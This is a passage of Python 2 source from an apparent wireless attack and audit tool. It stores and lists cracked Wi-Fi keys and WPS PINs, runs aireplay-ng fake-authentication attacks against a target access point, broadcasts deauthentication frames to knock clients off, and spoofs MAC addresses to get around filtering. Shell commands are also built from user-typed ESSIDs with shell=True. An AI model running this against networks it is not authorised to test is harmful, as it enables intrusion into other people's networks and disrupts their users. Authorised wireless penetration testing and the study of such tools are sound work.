                            printc (" ", fcolor.SGreen + "  WPS PIN            : " + fcolor.BYellow + str(tmpWPS) ,"")
                        printc (" ", fcolor.SGreen + "  Cracked Date       : " + fcolor.BYellow + str(tmpDate) ,"")
                        DrawLine("_",fcolor.CReset + fcolor.BBlack,"","");print "";
        if FoundRec==0:
            printc ("!","No cracked access point information found !!!","")
        else:
            printc ("i",fcolor.BRed + str(FoundRec) + fcolor.BWhite + " cracked records listed.","")
            OtherEnc=""
            if OPNCt!=0:
                OtherEnc=fcolor.SGreen + ", Other encryption : " + fcolor.BGreen + str(OPNCt)
            printc (" ",fcolor.SGreen + "WPA : " + fcolor.BGreen + str(WPACt) + fcolor.SGreen + ", WEP : " + fcolor.BGreen + str(WEPCt) + fcolor.SGreen + ", With WPS PIN : " + fcolor.BGreen + str(WPSCt) + OtherEnc,"")
        print ""
    else:
        printc ("!!!","Crack Database not found !!!","")
        print ""
    printc ("x","Press any key to exit...","")
    LineBreak()

def InputCrackDB():
    print fcolor.BBlue + "Manually Input Cracked Access Point Information"
    print ""
    LP=""
    while LP=="":
        usr_resp=AskQuestion("Enter Access Point MAC Address (BSSID)","xx:xx:xx:xx:xx:xx","U","EXIT","1")
        if usr_resp!="EXIT":
            result=CheckMAC(usr_resp)
            if result=="":
                printc ("!",fcolor.SRed + "The MAC Address " + fcolor.BYellow + str(usr_resp) + fcolor.SRed + " is invalid !!\n","")
            else:
                SELMAC=result
                FOUND=CheckCrackDB(SELMAC)
                if FOUND=="1":
                    if IsHex(__builtin__.DB_ENCKEY)==True:
                        result=ConvertHex(__builtin__.DB_ENCKEY)
                    else:
                        result=__builtin__.DB_ENCKEY
                    OUI=Check_OUI(SELMAC,"")
                    print ""
                    printc ("i", fcolor.BRed + "The Access Point   : " + fcolor.BYellow + str(SELMAC) + fcolor.BRed + " already existed in database !!","")
                    printc (" ", fcolor.SGreen + "ESSID              : " + fcolor.BPink + str(__builtin__.DB_ESSID) + fcolor.SGreen,"")
                    printc (" ", fcolor.SGreen + "Manufacturer       : " + fcolor.BCyan + str(OUI) + fcolor.SGreen,"")
                    printc (" ", fcolor.SGreen + "Encryption Type    : " + fcolor.BYellow + str(__builtin__.DB_ENCTYPE) ,"")
                    if str(__builtin__.DB_ENCTYPE).find("WEP")!=-1:
                        printc (" ", fcolor.SGreen + "Hexadecimal        : " + fcolor.BYellow + str(__builtin__.STR_HEXCOLON) + fcolor.SGreen + " / " + fcolor.BYellow + str(__builtin__.STR_HEX) + fcolor.SGreen + " [ "  + fcolor.SWhite + str(__builtin__.STR_LENHEX) + " Hexadecimal / " + str(__builtin__.STR_BIT) + " Bits" + fcolor.SGreen + " ]","")
                        printc (" ", fcolor.SGreen + "Characters         : " + fcolor.BRed + str(__builtin__.STR_CHR) + fcolor.SGreen + fcolor.SGreen + " [ "  + fcolor.SWhite + str(__builtin__.STR_LEN) + " Characters" + fcolor.SGreen + " ]","")
                    if str(__builtin__.DB_ENCTYPE).find("WPA")!=-1:
                        printc (" ", fcolor.SGreen + "WPA Pre-Shared Key : " + fcolor.BRed + str(__builtin__.DB_ENCKEY) + fcolor.SGreen + fcolor.SGreen + " [ "  + fcolor.SWhite + str(len(__builtin__.DB_ENCKEY)) + " Characters" + fcolor.SGreen + " ]","")
                    if str(__builtin__.DB_WPS)!="":
                        printc (" ", fcolor.SGreen + "WPS PIN            : " + fcolor.BYellow + str(__builtin__.DB_WPS) ,"")
                    printc (" ", fcolor.SGreen + "Cracked Date       : " + fcolor.BYellow + str(__builtin__.DB_Date) ,"")
                    print ""
                    usr_resp=AskQuestion(fcolor.BGreen + "Proceed to change information ?" + fcolor.BGreen,"y/N","U","N","1")
                    LineBreak()
                    if usr_resp!="Y":
                        LP="1"
                    else:
                        FOUND=""
                if FOUND=="":
                    ESSID=AskQuestion("Enter Access Point Name (ESSID)","Case sensitive","","","1")
                    Enc=AskQuestion("Enter Encryption Type","OPN/WEP/WPA","U","WPA","1")
                    if Enc!="WEP" and Enc!="OPN":
                        Enc="WPA"
                    EncKey=AskQuestion("Enter Encryption Key","Hexadecimal if WEP","","","1")
                    if Enc=="WEP":
                        EncKey=str(EncKey).upper()
                        
                    HS_File=AskQuestion("Enter Handshake file",fcolor.SGreen + "if any","","-","1")
                    if HS_File=="-":
                        HS_File=""
                    WPS=AskQuestion("Enter WPS PIN",fcolor.SGreen + "if any","N","-","1")
                    if WPS=="-":
                        WPS=""
                    LineBreak()
                    printc ("i", fcolor.SGreen + "Access Point MAC   : " + fcolor.BWhite + str(SELMAC),"")
                    printc (" ", fcolor.SGreen + "ESSID              : " + fcolor.BWhite + str(ESSID) + fcolor.SGreen,"")
                    printc (" ", fcolor.SGreen + "Encryption Type    : " + fcolor.BWhite  + str(Enc) ,"")
                    printc (" ", fcolor.SGreen + "Encryption Key     : " + fcolor.BWhite + str(EncKey) ,"")
                    printc (" ", fcolor.SGreen + "Handshake File     : " + fcolor.BWhite + str(HS_File) ,"")
                    printc (" ", fcolor.SGreen + "WPS PIN            : " + fcolor.BWhite  + str(WPS) ,"")
                    print ""
                    usr_resp=AskQuestion(fcolor.BGreen + "Proceed on adding to database ?" + fcolor.BGreen,"Y/n","U","Y","1")
                    if usr_resp=="Y":
                        AddCrackDB(SELMAC,Enc,EncKey,ESSID,HS_File,WPS,"1")
                    else:
                        printc ("!!!","Aborted !","")
                    LP="1"
        else:
            LP="1"
    print ""
    printc ("x", "Press any key to exit...","")
    LineBreak()

def CheckCrackDB(BSSID):
    FOUND=""
    if IsFileDirExist(CrackDB)=="F":
        with open(CrackDB,"r") as f:
            for line in f:
                line=line.replace("\n","").replace("\00","")
                tabstr=";"
                if line!="" and FOUND=="":
                    tmpline=str(line).split(";")
                    tmpBSSID=str(tmpline[0])
                    tmpEnc=str(tmpline[1])
                    tmpEncKey=str(tmpline[2])
                    tmpESSID=str(tmpline[3])
                    tmpHSFILE=str(tmpline[4])
                    tmpWPS=str(tmpline[5])
                    tmpDate="-"
                    if len(tmpline)>6:
                        tmpDate=str(tmpline[6])
                    if str(tmpBSSID).upper()==str(BSSID).upper():
                        FOUND="1"
                    if str(tmpHSFILE)!="" and str(tmpHSFILE)==str(BSSID):
                        FOUND="1"
                    if FOUND=="1":
                        __builtin__.DB_BSSID=tmpBSSID;__builtin__.DB_ENCTYPE=tmpEnc;__builtin__.DB_ENCKEY=tmpEncKey;__builtin__.DB_ESSID=tmpESSID;__builtin__.DB_HSFILE=tmpHSFILE;__builtin__.DB_WPS=tmpWPS;__builtin__.DB_Date=tmpDate
    return FOUND

def AddCrackDB(BSSID,Enc,EncKey,ESSID,HS_File,WPS,Ignore):
    if IsFileDirExist(CrackDB)=="F":
        newline=""
        FOUND=""
        IGNORE=""
        with open(CrackDB,"r") as f:
            MODI=""
            for line in f:
                line=line.replace("\n","").replace("\00","")
                if str(line)!="":
                    x=0
                    tabstr=";"
                    WPA_HS=""
                    tmpline=str(line).split(";")
                    tmpBSSID=str(tmpline[0])
                    tmpEnc=str(tmpline[1])
                    tmpEncKey=str(tmpline[2])
                    tmpESSID=str(tmpline[3])
                    tmpHSFile=str(tmpline[4])
                    tmpWPS=str(tmpline[5])
                    tmpDate=Now()
                    if str(HS_File)!="" and FOUND=="":
                        if str(tmpHSFile)==str(HS_File) and str(tmpBSSID).upper()==str(BSSID).upper():
                            WPA_HS="1";FOUND="1"
                    else:
                        if str(tmpBSSID).upper()==str(BSSID).upper() and FOUND=="":
                            FOUND="1"
                    if FOUND=="1":
                        FOUND="2"
                        if WPA_HS=="":
                            EncType="Encryption type "
                        elif WPA_HS=="1":
                            EncType="WPA Pre-Shared Key "
                        if Ignore=="":    
                            if str(tmpEnc).upper()!=str(Enc).upper():
                                printc ("i",fcolor.SGreen + EncType + "found on Database is [ " + fcolor.BYellow + tmpEnc + fcolor.SGreen + " ], Encryption found [ " + fcolor.BYellow + str(Enc) + fcolor.SGreen + " ].","")
                                usr_resp=AskQuestion("Replace ?","Y/n","U","Y","1")
                                if usr_resp=="Y":
                                    tmpEnc=str(Enc) 
                                    MODI="1"
                            if str(tmpEncKey)!=str(EncKey):
                                printc ("i",fcolor.SGreen + EncType + "[Key] found on Database is [ " + fcolor.BYellow + tmpEncKey + fcolor.SGreen + " ], key found [ " + fcolor.BYellow + str(EncKey) + fcolor.SGreen + " ].","")
                                usr_resp=AskQuestion("Replace ?","Y/n","U","Y","1")
                                if usr_resp=="Y":
                                    tmpEncKey=str(EncKey)
                                    MODI="1"
                            if str(tmpESSID)!=str(ESSID):
                                printc ("i",fcolor.SGreen + "ESSID found on Database is [ " + fcolor.BYellow + tmpESSID + fcolor.SGreen + " ], current ESSID found is [ " + fcolor.BYellow + str(ESSID) + fcolor.SGreen + " ].","")
                                usr_resp=AskQuestion("Replace ?","Y/n","U","Y","1")
                                if usr_resp=="Y":
                                    tmpESSID=str(ESSID)
                                    MODI="1"
                            if str(tmpWPS)!=str(WPS) and str(WPS)!="":
                                printc ("i",fcolor.SGreen + "WPS PIN found on Database is [ " + fcolor.BYellow + tmpWPS + fcolor.SGreen + " ], current WPS PIN found is [ " + fcolor.BYellow + str(WPS) + fcolor.SGreen + " ].","")
                                usr_resp=AskQuestion("Replace ?","Y/n","U","Y","1")
                                if usr_resp=="Y":
                                    tmpWPS=str(WPS)
                                    MODI="1"
                        else:
                            MODI="1"
                            tmpEnc=str(Enc)
                            tmpEncKey=str(EncKey)
                            tmpESSID=str(ESSID)
                            tmpHSFil=HS_File
                            tmpWPS=str(WPS)
                            tmpDate=Now()
    
                    datal=str(tmpBSSID) + str(tabstr) + str(tmpEnc) + str(tabstr) + str(tmpEncKey) + str(tabstr) + str(tmpESSID) + ";"+ str(tmpHSFile)+";"+ str(tmpWPS)+";"+ str(tmpDate)+";"
                    newline=newline + datal + "\n"
            if WPS!="":
                DWPS=fcolor.BGreen + ", WPS PIN : " + fcolor.BRed + str(WPS)
            else:
                DWPS=""
            if MODI=="1":
                printc ("i", fcolor.BGreen + "Modification made to existing BSSID : " + fcolor.BRed + BSSID + fcolor.BGreen + ", ESSID : " + fcolor.BRed + str(ESSID) + fcolor.BGreen + ", Encryption Type : " + fcolor.BRed + str(Enc) + fcolor.BGreen + ", Key : " + fcolor.BRed + str(EncKey) + "" + str(DWPS) + fcolor.BGreen + " ...","")
                IGNORE="1"
                FOUND=""
            elif MODI=="" and FOUND!="" and IGNORE=="":
                printc ("i", fcolor.BRed + "Existing information already found in database....","")
                IGNORE="1"
                FOUND=""
            elif FOUND=="" and IGNORE=="":
                printc ("i", fcolor.BGreen + "New BSSID : " + fcolor.BRed + BSSID + fcolor.BGreen + ", ESSID : " + fcolor.BRed + str(ESSID) + fcolor.BGreen + ", Encryption Type : " + fcolor.BRed + str(Enc) + fcolor.BGreen + ", Key : " + fcolor.BRed + str(EncKey) + "" + str(DWPS) + fcolor.BGreen + " added to database...","")
                if str(HS_File)!="":
                    printc (" ", fcolor.SGreen + "Handshake File : " + fcolor.BYellow + str(HS_File),"")
                    newline=newline + str(BSSID) + str(tabstr) + str(Enc) + str(tabstr) + str(EncKey) + str(tabstr) + str(ESSID) + str(tabstr) + str(HS_File) + str(tabstr) + str(WPS) + str(tabstr)+ str(tmpDate)+ str(tabstr) + "\n"
                else:
                    newline=newline + str(BSSID) + str(tabstr) + str(Enc) + str(tabstr) + str(EncKey) + str(tabstr) + str(ESSID) + str(tabstr) + "" + str(tabstr)  + str(WPS) + str(tabstr) + str(tmpDate)+ str(tabstr) + "\n"
  
        open(CrackDB,"w").write(newline)

def Fake_Auth(TargetMAC,FName):
    ATK_MAC=GetMyMAC(__builtin__.SELECTED_ATK);MAX_ATTEMPT=5;WEP_ATTEMPT=1;WEP_AUTH="";WEP_OPN="";WEP_SKA="";WEP_AUTHENTICATED="";readout="";READINGPKT="";PKTREAD=0;DeauthCl=0
    if str(__builtin__.ATTACK_AP_ESSID)!="":
        AddESSID="-e \x22" + str(__builtin__.ATTACK_AP_ESSID) + "\x22 "
    else:
        printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BRed + "An ESSID Name is Required !!!","")
        D_ESSID=str(AskQuestion("Enter the ESSID",fcolor.SGreen + "","U","","1")).lstrip().rstrip()
        if D_ESSID=="":
            printc ("!",fcolor.SRed + "ESSID must be entered !! Aborted","")
            AddESSID=""
            return
        __builtin__.ATTACK_AP_ESSID=D_ESSID
        AddESSID="-e \x22" + str(__builtin__.ATTACK_AP_ESSID) + "\x22 "
    cmd = [ "aireplay-ng","-1", "0","-T","1","-a",str(__builtin__.ATTACK_AP_BSSID),"-h", str(__builtin__.SELECTED_ATK_MAC),"-e",__builtin__.ATTACK_AP_ESSID, str(__builtin__.SELECTED_ATK)]
    authfile=tmpdir + "AUTHENTICATE.txt"
    DB_CLIENT=[]
    if IsFileDirExist(DBFile3)=="F":
	with open(DBFile3,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=7:
                    if tmpList[1]==__builtin__.ATTACK_AP_BSSID:
                        CLIENTMAC=str(tmpList[0])
                        DB_CLIENT=AddToList(CLIENTMAC,DB_CLIENT)
    DB_CLIENT.sort()
    if IsFileDirExist(authfile)=="F":
        DelFile (authfile,"")
    cmdLine="xterm -geometry 100x5-0-150 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Associating Access Point (Keep Alive)' -e 'aireplay-ng -1 6000 -o 1 -q 10 -a " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(AddESSID) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + str(authfile) + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.Authenticator=ps.pid
    printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Authenticating/Associating with Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BPink + " ] using " + fcolor.BYellow + str(__builtin__.SELECTED_ATK) + fcolor.BPink + " [ " + fcolor.BYellow + str(ATK_MAC) + fcolor.BPink + " ]","")
    while WEP_AUTH=="":
        ATK_MAC=GetMyMAC(__builtin__.SELECTED_ATK)
        readout=ReadAuthFile(authfile)
        if readout.find('read ')==-1 and readout.find('packets...')==-1 and len(readout)>5 and WEP_SKA=="": 
            if READINGPKT=="1":
                print "";READINGPKT=""
            if WEP_AUTHENTICATED=="":
                printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BGreen + "Authenticating with Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BGreen + " ] using " + fcolor.BYellow + str(__builtin__.SELECTED_ATK) + fcolor.BGreen + " [ " + fcolor.BYellow + str(ATK_MAC) + fcolor.BGreen + " ]... Attempt " + fcolor.BRed + str(WEP_ATTEMPT),"")
            else:
                printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BGreen + "Associating with Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BGreen + " ] using " + fcolor.BYellow + str(__builtin__.SELECTED_ATK) + fcolor.BGreen + " [ " + fcolor.BYellow + str(ATK_MAC) + fcolor.BGreen + " ]... Attempt " + fcolor.BRed + str(WEP_ATTEMPT),"")
        else:
            pkt=str(readout).split(" ")
            if len(pkt)>2:
                if str(pkt[2]).find("packets...")!=-1:
                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "SKA - Reading [ " + fcolor.BYellow +str(pkt[1]) + fcolor.SGreen + " ] Packets...","0","")
                    PKTREAD = PKTREAD +1
                    READINGPKT="1"
                    if PKTREAD>30:
                        PKTREAD=0
                        DeauthBroadcast(__builtin__.ATTACK_AP_BSSID,__builtin__.SELECTED_MON,5)
                        DeauthCl=DeauthCl+1
                        if int(DeauthCl)>3:
                            DeauthCl=0
                            if len(NEWCLIENT)<2:
                                printc (" ",fcolor.SWhite + Now() + " - " +  fcolor.SRed + "Make sure the are legitimate client to deauth...","")
                            else:
                                printc (" ",fcolor.SWhite + Now() + " - " +  fcolor.SRed + "Try move closer to client...","")
        if readout.find('sending authentication request (open system)') != -1:
            WEP_OPN="1"
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Sending authentication request to Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.SGreen + " ] (Open System) ..... ","")
        if readout.find('Please specify an ESSID (-e)') != -1:
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BRed + "An ESSID Name is Required !!!","")
            D_ESSID=str(AskQuestion("Enter the ESSID",fcolor.SGreen + "Default - " + fcolor.BYellow + str(__builtin__.ATTACK_AP_ESSID),"U",__builtin__.ATTACK_AP_ESSID,"1")).lstrip().rstrip()
            if D_ESSID=="":
                printc ("!",fcolor.SRed + "ESSID must be entered !!","")
            cmdLine="xterm -geometry 100x5-0-150 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Associating Access Point (Keep Alive)' -e 'aireplay-ng -1 6000 -o 1 -q 10 -a " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " -e " + str(__builtin__.ATTACK_AP_ESSID) + " " + str(__builtin__.SELECTED_ATK) + " | tee " + str(authfile) + "'"
            ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
            __builtin__.Authenticator=ps.pid
            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Authenticating/Associating with Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BPink + " ] using " + fcolor.BYellow + str(__builtin__.SELECTED_ATK) + fcolor.BPink + " [ " + fcolor.BYellow + str(ATK_MAC) + fcolor.BPink + " ]","")
        if readout.find('no such bssid available') != -1:
             if READINGPKT=="1":
                 print "";READINGPKT=""
             if str(__builtin__.ATTACK_AP_ESSID)!="":
                 KillSubProc(str(__builtin__.Authenticator))
                 cmdLine="xterm -geometry 100x5-0-150 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Associating Access Point (Keep Alive)' -e 'aireplay-ng -1 6000 -o 1 -q 10 -a " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " -e \x22" + str(__builtin__.ATTACK_AP_ESSID) + "\x22 " + str(__builtin__.SELECTED_ATK) + " | tee " + str(authfile) + "'"
                 ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
                 __builtin__.Authenticator=ps.pid
                 printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Sending authentication request to Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.SGreen + " ] ESSID : [ " + fcolor.SYellow + str(__builtin__.ATTACK_AP_ESSID) + fcolor.SGreen + " ].","")
        if readout.find('authentication successful') != -1:
            if WEP_AUTHENTICATED=="":
                printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Client  [ " + fcolor.BYellow + str(ATK_MAC) + fcolor.BPink + " ] successfully authenticated with Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BPink + " ]. " + fcolor.SGreen + " Associating....","")
            WEP_AUTHENTICATED="1"
        if readout.find('switching to shared key authentication') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BRed + "BSSID [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BRed + " ] is likely using Shared Key Authentication..!!","")
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SRed + "Switching to Shared Key Authentication (SKA). ","")
            WEP_SKA="1"
        if readout.find('sending authentication request (shared key)') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BGreen + "Sending Authentication Request [Shared Key] to Access Point [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BGreen + " ]... Attempt " + fcolor.BRed + str(WEP_ATTEMPT),"")
        if readout.find('got deauth') != -1:
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SRed + "Got Deauthentication from Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.SGreen + " ] using " + fcolor.SYellow + str(__builtin__.SELECTED_ATK) + fcolor.SGreen + " [ " + fcolor.SYellow + str(ATK_MAC) + fcolor.SGreen + " ]... ","")
        if readout.find('authentication 1/2 successful') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Authentication 1/2 Successful !!","")
        if readout.find('authentication 2/2 successful') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Authentication 2/2 Successful !!","")
            WEP_AUTHENTICATED=="1"
        if readout.find('ap rejects the source mac') != -1:
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BRed + "Authentication Failed. Access Point [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BRed + " ] rejected your MAC [ " + fcolor.BYellow + str(__builtin__.SELECTED_ATK_MAC) + fcolor.BRed + " ]..!!","")
            printc (" ",fcolor.SWhite + "                      " + fcolor.SRed + "Most likely is " + fcolor.BRed + "MAC Filtered" + fcolor.SRed + " Access Point. Try spoof a legitimate client MAC Address..","")
        if readout.find('switching to shared key authentication') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BRed + "BSSID [ " + fcolor.BYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.BRed + " ] is likely using Shared Key Authentication..!!","")
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SRed + "Switching to Shared Key Authentication (SKA). ","")
            WEP_SKA="1"
        if readout.find('sending association request') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BGreen + "Associating with Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BGreen + " ] using " + fcolor.BYellow + str(__builtin__.SELECTED_ATK) + fcolor.BGreen + " [ " + fcolor.BYellow + str(ATK_MAC) + fcolor.BGreen + " ]... Attempt " + fcolor.BRed + str(WEP_ATTEMPT),"")
        if readout.find('sending encrypted challenge. [ack]') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Sending Encrypted Challenge to Access Point [ " + fcolor.SYellow + str(__builtin__.ATTACK_AP_BSSID) + fcolor.SGreen + " ].... Acknowledged...","")
        if readout.find('not enough acks') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SRed + "No enough acknowlegement.....","")
        if readout.find('challenge failure') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SRed + "Challenge Failed !!!","")
            if len(NEWCLIENT)>1:
                printc (" ",fcolor.SWhite + "                      " + fcolor.SGreen + str(len(NEWCLIENT)) + " clients found.. try spoofing legitimate client MAC to try...","")
        if readout.find('attack was unsuccessful') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BRed + "Fake Authentication was unsuccessfully !! Attack may not work..","")
            WEP_AUTH="1"
            if WEP_SKA=="1":
                WEP_SKA="2"
        if readout.find('no such bssid available') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SRed + "BSSID [ " + str(__builtin__.ATTACK_AP_BSSID) + " ] not found !!","")
        if readout.find('is wpa in use') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.SRed + "Possible WPA Encryption for the Access Point....","")
        if readout.find('association successful') != -1:
            if READINGPKT=="1":
                print "";READINGPKT=""
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Client  [ " + fcolor.BYellow + str(ATK_MAC) + fcolor.BPink + " ] successfully associated with Access Point    [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BPink + " ].","")
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Fake Authentication Successful...","")
            WEP_AUTH="1"
        NEWCLIENT=GetClientFromCSV (FName)
        if len(NEWCLIENT)>0:
            __builtin__.CUR_CLIENT=__builtin__.NEW_CLIENT
            ClentList=__builtin__.NEW_CLIENT
            __builtin__.CUR_CLIENT_FS=__builtin__.NEW_CLIENT_FS
            __builtin__.CUR_CLIENT_LS=__builtin__.NEW_CLIENT_LS
            __builtin__.CUR_CLIENT_PWR=__builtin__.NEW_CLIENT_PWR
            __builtin__.CUR_CLIENT_DATA=__builtin__.NEW_CLIENT_DATA
            __builtin__.CUR_CLIENT_PROBE=__builtin__.NEW_CLIENT_PROBE
        time.sleep(0.5)
        if READINGPKT=="" and len(readout)>5:
            WEP_ATTEMPT += 1
        if WEP_OPN=="1" and WEP_ATTEMPT>=50 and WEP_SKA=="1":
            WEP_AUTH="1";WEP_SKA="2"
        
        while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
            usr_resp = sys.stdin.readline()
            if usr_resp:
                LineBreak()
                MSG=""
                MSG=MSG + tabspacefull + fcolor.BRed + "1/O" + fcolor.SWhite + " - St" + fcolor.BYellow + "o" + fcolor.SWhite + "p Authentication\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "2/D" + fcolor.SWhite + " - " + fcolor.BYellow + "D" + fcolor.SWhite + "eauth Client\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "3/C" + fcolor.SWhite + " - List " + fcolor.BYellow + "C" + fcolor.SWhite + "lients\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "4/S" + fcolor.SWhite + " - " + fcolor.BYellow + "S" + fcolor.SWhite + "poof MAC address\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "5/F" + fcolor.BWhite + " - " + fcolor.BYellow + "F1" + fcolor.SWhite + " - Fake Authentication (1 Time)\t" +fcolor.BYellow + "F2" + fcolor.SWhite + " - Fake Authentication (Continous)\n"		
                MSG=MSG + tabspacefull + fcolor.BRed + "0/T" + fcolor.SWhite + " - Re" + fcolor.BYellow + "t" + fcolor.SWhite + "urn\n"
                print MSG
                usr_resp=AskQuestion("Select an option",fcolor.BRed + "0" + fcolor.BYellow + " - Return","U"," ","1")
                LineBreak()
                if usr_resp=="1" or usr_resp=="O":
                    if WEP_OPN=="1":
                        WEP_AUTH="1"
                    else:
                        WEP_AUTH="2"
                elif usr_resp=="2" or usr_resp=="D":
                    DeauthBroadcast(__builtin__.ATTACK_AP_BSSID,__builtin__.SELECTED_MON,5)
                    LineBreak()
                elif usr_resp=="3" or usr_resp=="C":
                    if len(__builtin__.CUR_CLIENT)>0 or len(DB_CLIENT)>0:
                        if len(__builtin__.CUR_CLIENT)>0:
                            ListClientFound()
                        if len(DB_CLIENT)>0:
                            ListClientFoundDB()
                    else:
                        printc ("!",fcolor.SRed + "No client found !!","")
                        print "";printc ("x","","")
                    LineBreak()
                elif usr_resp=="4" or usr_resp=="S":
                    ListClientFound()
                    ListClientFoundDB()
                    ChangeMACAddr(__builtin__.SELECTED_ATK,"","")
                    cmdLine="xterm -geometry 100x5-0-150 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Associating Access Point (Keep Alive)' -e 'aireplay-ng -1 6000 -o 1 -q 10 -a " + str(__builtin__.ATTACK_AP_BSSID)  + " -h " + str(__builtin__.SELECTED_ATK_MAC) + " " + str(AddESSID) + str(__builtin__.SELECTED_ATK) + " | tee " + str(authfile) + "'"
                    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
                    __builtin__.Authenticator=ps.pid
                    printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Authenticating/Associating with Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BPink + " ] using " + fcolor.BYellow + str(__builtin__.SELECTED_ATK) + fcolor.BPink + " [ " + fcolor.BYellow + str(ATK_MAC) + fcolor.BPink + " ]","")
                    LineBreak()
                elif usr_resp=="F1" or usr_resp=="F" or usr_resp=="5":
                    __builtin__.ProcID=WEPAttackMode("AAP1","","","1")
                    __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                elif usr_resp=="F2":
                    __builtin__.ProcID=WEPAttackMode("AAPC","","","1")
                    __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                else:
                    retkey=""
    if WEP_AUTH=="1":
        if WEP_SKA=="2":
            printc (" ",fcolor.SWhite + Now() + " - " + fcolor.BCyan + "Spoofing the legitimate client MAC (if any) to will have better chance of attacking success..","")
        Search="WAIDPS - Associating"
        KillProc(Search)
        KillSubProc(str(__builtin__.Authenticator))
        if IsFileDirExist(authfile)=="F":
            DelFile (authfile,"")
        print ""
    return WEP_AUTH

def ReadAuthFile(AuthFile):
    Result=""
    if IsFileDirExist(AuthFile)=="F":
	with open(AuthFile,"r") as f:
	    for line in f:
                sline=str(line).replace("\n","").lstrip().rstrip().lower()
                if len(sline)>0:
                    Result=Result + sline +"\n"
    open(AuthFile,"w").write("")
    return Result
     

def DeauthBroadcast(BSSID,IFace,DeauthCt):
    printl (tabspacefull + fcolor.BRed + "Broadcasting Deauthentication Signal To All Clients for " + fcolor.BGreen + str(BSSID) + fcolor.BRed + "..." + fcolor.SGreen + " (x" + str(DeauthCt) + ") ","0","")
